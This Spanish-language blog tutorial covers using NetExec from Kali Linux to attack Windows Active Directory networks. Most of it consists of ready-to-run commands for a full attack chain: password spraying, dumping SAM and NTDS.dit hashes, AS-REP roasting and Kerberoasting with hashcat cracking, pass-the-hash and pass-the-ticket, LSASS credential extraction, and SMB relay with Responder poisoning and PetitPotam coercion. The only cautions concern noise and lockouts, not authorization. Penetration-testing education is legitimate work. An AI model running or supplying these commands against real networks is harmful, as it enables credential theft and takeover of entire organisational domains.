NetExec: Herramienta Post-Explotación Kali

 

 https://www.onlinetis.com/es/

NetExec: Herramienta Post-Explotación Kali

Hablemos de NetExec (nxc). Si vienes de usar herramientas como CrackMapExec, te sentirás como en casa, ya que NetExec es su sucesor espiritual y actualmente la herramienta estándar para la post-explotación de redes en Kali Linux.

En pocas palabras: es una "navaja suiza" para auditar redes Windows/Active Directory (y más), que permite automatizar la evaluación de seguridad en grandes entornos.


¿Qué hace NetExec?

NetExec se utiliza para interactuar con diversos protocolos de red para verificar credenciales, enumerar recursos compartidos, ejecutar comandos y buscar vulnerabilidades. Su fuerza reside en que puede manejar cientos de objetivos simultáneamente.

Protocolos soportados:

  • SMB: El más común (Active Directory, archivos compartidos).

  • WMI: Para ejecución de comandos remotos.

  • MSSQL: Auditoría de bases de datos.

  • LDAP: Enumeración de usuarios y grupos en AD.

  • WinRM, SSH, VNC, FTP y HTTP.


Comandos básicos (Ejemplos prácticos)

Si ya lo tienes instalado en tu Kali (suele venir por defecto o se instala con sudo apt install netexec), aquí tienes cómo empezar:

1. Escaneo de red y detección de SMB

Para ver qué equipos tienen el protocolo SMB activo y si requieren firma de paquetes (SMB Signing):

Bash
nxc smb 192.168.1.0/24

2. Prueba de credenciales (Spray)

Para probar un usuario y contraseña contra toda una red:

Bash
nxc smb 192.168.1.0/24 -u 'usuario' -p 'password123'

Tip: Si el usuario tiene privilegios de Administrador local, NetExec mostrará un (Pwn3d!) en amarillo.

3. Enumeración de recursos compartidos

Para ver a qué carpetas tienes acceso con las credenciales dadas:

Bash
nxc smb 192.168.1.10 -u 'admin' -p 'pass' --shares

4. Volcado de hashes (SAM)

Si tienes privilegios de administrador, puedes extraer los hashes de contraseñas locales:

Bash
nxc smb 192.168.1.10 -u 'admin' -p 'pass' --sam

Diferencias clave con CrackMapExec

  • Código abierto y activo: NetExec es mantenido por la comunidad tras el fin del soporte de CME.

  • Mejor rendimiento: Es notablemente más rápido y estable en redes grandes.

  • Protocolos actualizados: Maneja mejor las versiones modernas de SMB y ataques de retransmisión (relay).


¿Cómo aprender más?

La sintaxis general siempre sigue este patrón:

nxc <protocolo> <objetivo(s)> -u <usuario> -p <contraseña> [módulo/opción]

  • Módulos: Puedes usar -M para listar módulos que automatizan ataques específicos (como buscar archivos con contraseñas o explotar vulnerabilidades como Zerologon).

  • Ayuda: Usa nxc smb -h para ver todas las posibilidades de ese protocolo.

 

Para enumerar usuarios de Active Directory (AD), NetExec es una de las herramientas más potentes porque te permite hacerlo a través de varios protocolos, dependiendo de los permisos que tengas.

Aquí tienes las formas más efectivas de hacerlo, desde una enumeración "ciega" hasta una con credenciales:


1. Enumeración vía RID Brute Force (Sin credenciales)

Si no tienes un usuario válido pero el servidor permite sesiones anónimas (cada vez menos común), puedes intentar adivinar usuarios mediante sus identificadores (RID):

Bash
nxc smb 192.168.1.10 -u '' -p '' --rid-brute

Esto probará IDs comunes (como 500 para el Administrador) para ver qué nombres de usuario devuelve el servidor.


2. Enumeración vía LDAP (La más completa)

Si ya tienes un usuario y contraseña válidos (incluso si es un usuario sin privilegios), el protocolo LDAP es el mejor para extraer toda la base de datos de usuarios:

Bash
nxc ldap 192.168.1.10 -u 'usuario' -p 'password123' --users

¿Qué información obtienes?

  • Nombres de usuario y nombres completos.

  • Descripción de la cuenta (a veces los admins olvidan contraseñas ahí).

  • Fecha del último cambio de contraseña.

  • Cuándo expira la cuenta.


3. Enumeración vía RPC / SAMBA

A través de SMB, puedes pedirle al controlador de dominio que te de la lista de usuarios directamente:

Bash
nxc smb 192.168.1.10 -u 'usuario' -p 'password123' --users

4. Búsqueda de usuarios específicos (Filtros)

Si la red es enorme y solo buscas cuentas con descripciones interesantes o que no hayan cambiado su clave en mucho tiempo, puedes usar módulos:

  • Buscar en descripciones:

    Bash
    nxc ldap 192.168.1.10 -u 'usuario' -p 'pass' -M descriptions
    
  • Ver políticas de contraseñas (para no bloquear cuentas):

    Bash
    nxc smb 192.168.1.10 -u 'usuario' -p 'pass' --pass-pol
    

Resumen de opciones útiles

ComandoFunción
--usersLista todos los usuarios del dominio.
--groupsLista los grupos (útil para hallar "Domain Admins").
--active-usersFiltra solo los usuarios que no están deshabilitados.
--rid-bruteFuerza bruta de IDs de usuario (sin cuenta previa).

Nota de seguridad: Ten cuidado con el "Password Spraying" (probar una clave contra muchos usuarios). Si la política de contraseñas es estricta, podrías bloquear todas las cuentas de la empresa en segundos. Usa siempre --pass-pol primero.

 

El ASREPRoasting es uno de los ataques iniciales más efectivos en Active Directory porque no requiere privilegios y se puede realizar de forma totalmente pasiva (sin tocar el sistema de archivos del objetivo).

¿Qué es el ASREPRoasting?

En términos sencillos: buscas usuarios que tengan activada la opción "Do not require Kerberos preauthentication".

Si un usuario tiene esto activo, puedes pedirle al Controlador de Dominio (DC) un "ticket" de autenticación para ese usuario. El DC te lo enviará cifrado con la contraseña del usuario. Luego, te llevas ese ticket a tu máquina y tratas de romperlo por fuerza bruta (offline) para sacar la contraseña en texto claro.


Paso 1: Enumerar usuarios vulnerables con NetExec

Una vez que tienes una lista de usuarios (o incluso si solo tienes una cuenta de usuario normal), puedes usar el módulo asreproast de NetExec para ver quién es vulnerable y extraer su hash:

Bash
nxc ldap 192.168.1.10 -u 'usuario' -p 'password123' --asreproast output.txt
  • ldap: Usamos el protocolo LDAP porque es el que mejor gestiona los atributos de usuario.

  • --asreproast: El módulo que hace el trabajo sucio.

  • output.txt: Guardará los hashes encontrados en un archivo compatible con herramientas de cracking.


Paso 2: Romper la contraseña (Cracking)

Si NetExec encuentra algún hash, verás una cadena larga que empieza por $krb5asrep$. Ahora toca usar John the Ripper o Hashcat en tu Kali.

Con Hashcat (Recomendado):

El código de modo para Kerberos 5 AS-REP es el 18200.

Bash
hashcat -m 18200 output.txt /usr/share/wordlists/rockyou.txt

Con John the Ripper:

Bash
john --wordlist=/usr/share/wordlists/rockyou.txt output.txt

¿Por qué funciona tan bien?

  1. Es silencioso: No fallas inicios de sesión, por lo que no bloqueas cuentas.

  2. Es offline: Una vez tienes el hash, puedes probar millones de contraseñas por segundo en tu propia CPU/GPU sin que el administrador de red se entere.

  3. Configuraciones antiguas: Muchos administradores activan esta opción por compatibilidad con aplicaciones viejas y olvidan desactivarla.


Un truco extra: ¿Y si no tengo NINGÚN usuario?

Si ni siquiera tienes un usuario válido para consultar LDAP, puedes intentar hacer el ASREPRoasting proporcionando simplemente una lista de nombres de usuario (obtenida mediante OSINT o rid-brute):

Bash
nxc smb 192.168.1.10 -u lista_usuarios.txt -p '' --asreproast output.txt

(Nota: Esto a veces requiere herramientas más específicas como GetNPUsers.py de Impacket, pero NetExec intenta cubrirlo).


El Kerberoasting es el "hermano mayor" del ASREPRoasting. Es uno de los ataques más populares en Active Directory porque, a diferencia del anterior, cualquier usuario autenticado en el dominio (sin importar cuán pocos privilegios tenga) puede solicitar tickets de servicio.

¿Cómo funciona el Kerberoasting?

El objetivo son las cuentas de usuario que tienen un SPN (Service Principal Name) asociado (por ejemplo, una cuenta que corre un servidor SQL o IIS).

  1. Solicitas un ticket (TGS) para ese servicio al Controlador de Dominio.

  2. El DC te entrega el ticket cifrado con el hash de la contraseña de la cuenta de servicio.

  3. Intentas romper ese hash offline en tu máquina Kali.


1. Ejecutar Kerberoasting con NetExec

NetExec facilita enormemente este proceso integrando el módulo de extracción directamente. Solo necesitas una cuenta de usuario válida (incluso una con permisos mínimos):

Bash
nxc ldap 192.168.1.10 -u 'usuario' -p 'password123' --kerberoasting output_kerb.txt
  • ldap: Es el protocolo más eficiente para buscar SPNs.

  • --kerberoasting: El comando mágico que busca cuentas con SPN y extrae sus tickets.

  • output_kerb.txt: El archivo donde se guardarán los hashes (formato listo para crackear).


2. Analizar los resultados

Si NetExec encuentra algo, verás una salida con el nombre del servicio (ej. MSSQLSvc/sql01.domain.local:1433) y un hash que empieza por $krb5tgs$.

¿Por qué estas cuentas son "joyas"?

  • Contraseñas débiles: A menudo, las cuentas de servicio tienen contraseñas que no se cambian en años.

  • Altos privilegios: Muchas veces, estas cuentas son Administradores de Dominio o tienen acceso total a bases de datos críticas.


3. Romper el Hash (Cracking)

Una vez que tienes el ticket en tu archivo, pásalo por Hashcat. El código de modo para Kerberos 5 TGS (Ticket Granting Service) es el 13100.

Bash
hashcat -m 13100 output_kerb.txt /usr/share/wordlists/rockyou.txt

Comparativa rápida: ASREPRoasting vs. Kerberoasting

AtaqueObjetivoRequisitoFrecuencia
ASREPRoastingUsuarios con "Pre-auth" desactivado.Ninguno (a veces).Menos común.
KerberoastingUsuarios con un SPN (servicios).Cualquier usuario válido.Muy común en empresas.

Un consejo de "pro":

Si el entorno es muy grande, NetExec te permite filtrar. Por ejemplo, si solo quieres atacar cuentas de servicio que no sean la del Administrador predeterminado para evitar ruido:

Bash
nxc ldap 192.168.1.10 -u 'user' -p 'pass' --kerberoasting output.txt --user-status

(Esto te dirá si la cuenta está activa antes de perder tiempo crackeando un hash de una cuenta deshabilitada).


Entramos en la fase de Movimiento Lateral. Una vez que tienes un hash o una contraseña, el objetivo es "saltar" de la máquina que ya controlas a otras de la red para escalar privilegios o buscar datos sensibles.

En Windows, no siempre necesitas la contraseña en texto plano. Aquí es donde brillan el Pass-the-Hash (PtH) y el Pass-the-Ticket (PtT).


1. Pass-the-Hash (PtH) con NetExec

Este es el ataque estrella. Si conseguiste un hash NTLM (por ejemplo, con --sam o --ntds), puedes iniciar sesión en otras máquinas sin necesidad de crackearlo.

Escenario: Tienes el hash del administrador local (aad3b435...:514...) y quieres ver en qué otras máquinas de la red funciona.

Bash
nxc smb 192.168.1.0/24 -u 'Administrator' -H '51426b6f35f05f5530ec8b2d9a6946a1'
  • -H: Indica que vas a usar el Hash en lugar de la contraseña (-p).

  • Resultado: NetExec probará ese hash en toda la subred. Si ves un (Pwn3d!), tienes control total sobre esa máquina.

Ejecutar comandos con el Hash

Si encuentras una máquina vulnerable, puedes ejecutar comandos directamente:

Bash
nxc smb 192.168.1.50 -u 'Administrator' -H 'HASH_AQUÍ' -x 'whoami /all'

2. Pass-the-Ticket (PtT)

Este ataque es más avanzado y se usa cuando has extraído un ticket de Kerberos (un archivo .kirbi). Aquí no usas ni usuario ni contraseña, sino el ticket que "engaña" al sistema haciéndole creer que ya estás autenticado.

Primero, debes configurar tu variable de entorno en Kali para que apunte al ticket:

Bash
export KRB5CCNAME=/ruta/al/ticket.ccache

Luego, usas NetExec con el flag -k (Kerberos):

Bash
nxc smb nombre_del_equipo.dominio.local -k --shares
  • Nota: Para que Kerberos funcione, debes usar el Hostname (nombre del equipo), no la IP, y tener bien configurado tu /etc/hosts o el DNS.


3. ¿Qué hacer si tienes la contraseña? (Login Spraying)

Si gracias al Kerberoasting o ASREPRoasting conseguiste la contraseña real, puedes verificar en cuántos equipos ese usuario es Administrador:

Bash
nxc smb 192.168.1.0/24 -u 'usuario_crackeado' -p 'password123'

Si el usuario es un "Domain Admin", verás (Pwn3d!) en casi todos los equipos del dominio.


Resumen de Movimiento Lateral

MétodoHerramienta/FlagCuándo usarlo
Pass-the-Hashnxc smb ... -H <HASH>Tienes el hash NTLM pero no la clave.
Pass-the-Ticketnxc smb ... -kTienes un ticket de Kerberos válido.
Command Execnxc smb ... -x 'cmd'Cuando ya tienes acceso (Pwn3d!).
Shell Interactivaimpacket-psexecPara obtener una terminal real (no solo un comando).

¿Cuál es el siguiente paso lógico?

Ya sabes moverte. El "juego final" suele ser el Dumping de NTDS.dit. Es el archivo que contiene los hashes de TODOS los usuarios de la empresa.

¡Has llegado al "Santo Grial" del Pentesting en Active Directory! El Dumping del NTDS.dit es el paso final para comprometer por completo un dominio.

El archivo ntds.dit es la base de datos de Active Directory. Contiene los nombres de usuario, grupos y, lo más importante, los hashes de las contraseñas de TODOS los usuarios del dominio.


El objetivo: Extraer el NTDS.dit

Para hacer esto, necesitas privilegios de Domain Admin o ser un usuario con permisos de replicación (como un "Backup Operator").

Método 1: Usando NetExec (Vía DRSUAPI)

NetExec utiliza el protocolo de replicación de directorios para "engañar" al Controlador de Dominio y hacer que le envíe los hashes, sin necesidad de tocar el archivo físico en el disco (lo cual es más silencioso).

Bash
nxc smb 192.168.1.10 -u 'admin_del_dominio' -p 'password123' --ntds
  • 192.168.1.10: Debe ser la IP de un Controlador de Dominio (DC).

  • --ntds: Este flag le dice a NetExec que extraiga todos los hashes NTLM del dominio.


¿Qué obtienes al final?

NetExec te mostrará una lista gigante (o la guardará en su base de datos interna) con este formato:

Administrador:500:aad3b435...:51426b6f35f05f5530ec8b2d9a6946a1:::

Con esto, ahora eres el dueño de la red. Puedes:

  1. Crackear las cuentas que te interesen (como la del CEO o IT).

  2. Pass-the-Hash con cualquier cuenta.

  3. Crear un Golden Ticket (un ticket persistente que te da acceso de administrador por años, incluso si cambian las contraseñas).


Gestión de datos en NetExec

Como habrás notado, NetExec maneja mucha información. No necesitas copiar y pegar todo de la terminal. NetExec tiene una base de datos propia donde guarda todo lo que "pwnes".

  • Para ver todas las credenciales capturadas:

    Bash
    nxc smb --creds
    
  • Para ver qué máquinas has comprometido:

    Bash
    nxc smb --hosts
    

Resumen del camino recorrido

Hemos pasado por todas las fases de un ataque a Active Directory:

  1. Enumeración: Listar usuarios (--users).

  2. Explotación inicial: ASREPRoasting y Kerberoasting.

  3. Movimiento Lateral: Pass-the-Hash (-H).

  4. Privilegios máximos: Dump de NTDS (--ntds).

 

La verdadera potencia de NetExec reside en sus módulos. Mientras que los comandos básicos interactúan con los protocolos, los módulos son scripts específicos diseñados para tareas de post-explotación tácticas, como buscar archivos sensibles o explotar vulnerabilidades de configuración.

Aquí tienes cómo usarlos para automatizar la búsqueda de "tesoros" (contraseñas y datos) en la red.


1. ¿Cómo ver y usar módulos?

Para listar todos los módulos disponibles para un protocolo (por ejemplo, SMB):

Bash
nxc smb -L

Para usar un módulo, la sintaxis es:

Bash
nxc smb <objetivo> -u <user> -p <pass> -M <nombre_del_modulo>

2. Búsqueda automática de contraseñas en archivos

Uno de los errores más comunes de los administradores es dejar archivos con credenciales en carpetas compartidas. NetExec tiene módulos brillantes para esto:

A. Módulo spider_plus (El Rey de la enumeración)

Este módulo recorre todas las carpetas compartidas (shares) y genera un archivo JSON con la lista de todos los archivos encontrados. Además, puede configurarse para buscar extensiones específicas (como .txt, .pdf, .xlsx).

Bash
nxc smb 192.168.1.0/24 -u 'usuario' -p 'pass' -M spider_plus
  • Resultado: Crea un archivo en /tmp/nxc_hosted/ con el mapa completo de archivos de la red.

B. Módulo slurp (Búsqueda de contenido sensible)

Si quieres buscar palabras clave como "password", "clave" o "login" dentro de los nombres de archivos en los servidores:

Bash
nxc smb 192.168.1.0/24 -u 'user' -p 'pass' -M slurp -o KEYWORDS=password,config,clavo

3. Módulos de Post-Explotación Críticos

Una vez que tienes una sesión (Pwn3d!), estos módulos automatizan tareas que antes tomaban horas:

MóduloFunción
lsassyExtrae credenciales directamente de la memoria del proceso LSASS (muy potente).
gpp_passwordBusca contraseñas en las Preferencias de Directiva de Grupo (GPO), que a menudo están cifradas con una clave pública conocida.
get_passwordIntenta extraer contraseñas guardadas en navegadores, clientes de correo o sesiones VNC.
sccmBusca credenciales en servidores de despliegue de software (SCCM/MECM).

4. Automatización de Auditoría de Vulnerabilidades

NetExec también puede verificar si los equipos son vulnerables a exploits famosos sin necesidad de lanzar el exploit real (solo chequeo):

  • Verificar ZeroLogon:

    Bash
    nxc smb 192.168.1.10 -u '' -p '' -M zerologon
    
  • Verificar PetitPotam (para ataques de Relay):

    Bash
    nxc smb 192.168.1.0/24 -u 'user' -p 'pass' -M petitpotam
    
  • Verificar NoPac:

    Bash
    nxc smb 192.168.1.10 -u 'user' -p 'pass' -M nopac
    

5. El "Combo" de Automatización Final

Puedes ejecutar NetExec sobre toda la red para que busque vulnerabilidades, verifique credenciales y extraiga información, todo en una sola línea.

Ejemplo: Buscar sesiones de usuarios administradores en toda la red:

Bash
nxc smb 192.168.1.0/24 -u 'usuario_normal' -p 'pass' --loggedon-users

Esto te dirá en qué máquinas hay administradores logueados, para que sepas a dónde saltar y hacer un dump de memoria.


El SMB Relay es uno de los ataques más elegantes y potentes. En lugar de intentar adivinar una contraseña, "engañas" a un equipo de la red para que te envíe su autenticación y tú la retransmites (relay) hacia otro objetivo para ganar acceso.

Para que esto funcione, necesitamos dos herramientas de tu Kali trabajando en equipo:

  1. ntlmrelayx.py (parte de Impacket): Recibe la conexión y la retransmite.

  2. NetExec: Se encarga de encontrar objetivos vulnerables (que no tengan SMB Signing).


El requisito crítico: SMB Signing

Un ataque de Relay solo funciona contra máquinas que tengan el SMB Signing desactivado. Si el "firmado" está activo, la máquina rechazará la retransmisión.

Paso 1: Escanear objetivos con NetExec

Primero, buscamos víctimas potenciales en la red:

Bash
nxc smb 192.168.1.0/24 --gen-relay-list objetivos.txt
  • --gen-relay-list: Este comando filtrará automáticamente todos los equipos que tienen el firmado de SMB desactivado y los guardará en objetivos.txt.


Paso 2: Configurar el Receptor (ntlmrelayx)

Ahora preparamos nuestra "trampa". Vamos a decirle a ntlmrelayx que escuche cualquier intento de conexión y lo reenvíe a la lista de objetivos que acabamos de crear.

Bash
impacket-ntlmrelayx -tf objetivos.txt -smb2support -socks
  • -tf: Archivo con los objetivos (Target File).

  • -smb2support: Soporte para versiones modernas de Windows.

  • -socks: (Opcional pero recomendado) Crea un proxy SOCKS para que, una vez capturada la sesión, puedas navegar por ella con NetExec más tarde.


Paso 3: Forzar el tráfico (Envenenamiento)

Para que las máquinas nos envíen su autenticación, necesitamos que "intenten hablarnos". En una red real, esto sucede de tres formas:

  1. Esperar: A que un administrador cometa un error tipográfico al buscar una carpeta compartida.

  2. Responder/Responder.py: Usar responder -I eth0 -rPv para envenenar protocolos como LLMNR/mDNS.

  3. Forzar: Usar un módulo de NetExec para obligar a un servidor a autenticarse contra nosotros (como petitpotam o printerbug).

Ejemplo forzando con PetitPotam:

Bash
nxc smb 192.168.1.50 -u 'usuario' -p 'pass' -M petitpotam -o LISTENER=TU_IP_KALI

Paso 4: Ejecutar comandos mediante el Relay

Si ntlmrelayx tiene éxito, verás en tu terminal algo como:

Authenticating against 192.168.1.100 as DOMAIN\Admin SUCCEEDED

Si usaste el modo -socks, ahora puedes usar NetExec para ejecutar comandos en esa máquina a través del túnel que acabas de crear, ¡sin saber la contraseña!

Bash
proxychains nxc smb 192.168.1.100 -u 'Admin' -p 'lo_que_sea' --sam
  • Nota: Al usar proxychains con la sesión de relay activa, la contraseña no importa (puedes poner cualquier cosa), NetExec usará el ticket capturado.


Resumen del flujo de trabajo

  1. NetExec: Encuentra quién no tiene SMB Signing (--gen-relay-list).

  2. Responder: Envenena la red para atraer tráfico hacia ti.

  3. ntlmrelayx: Recibe el tráfico y lo lanza contra el objetivo vulnerable.

  4. NetExec + Proxychains: Ejecuta el "Pwn3d!" (SAM dump, ejecución de comandos, etc.).

¡Cuidado! Este ataque es ruidoso. Si hay un EDR (como SentinelOne o Crowdstrike) o un IDS moderno, detectarán el movimiento lateral rápidamente.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux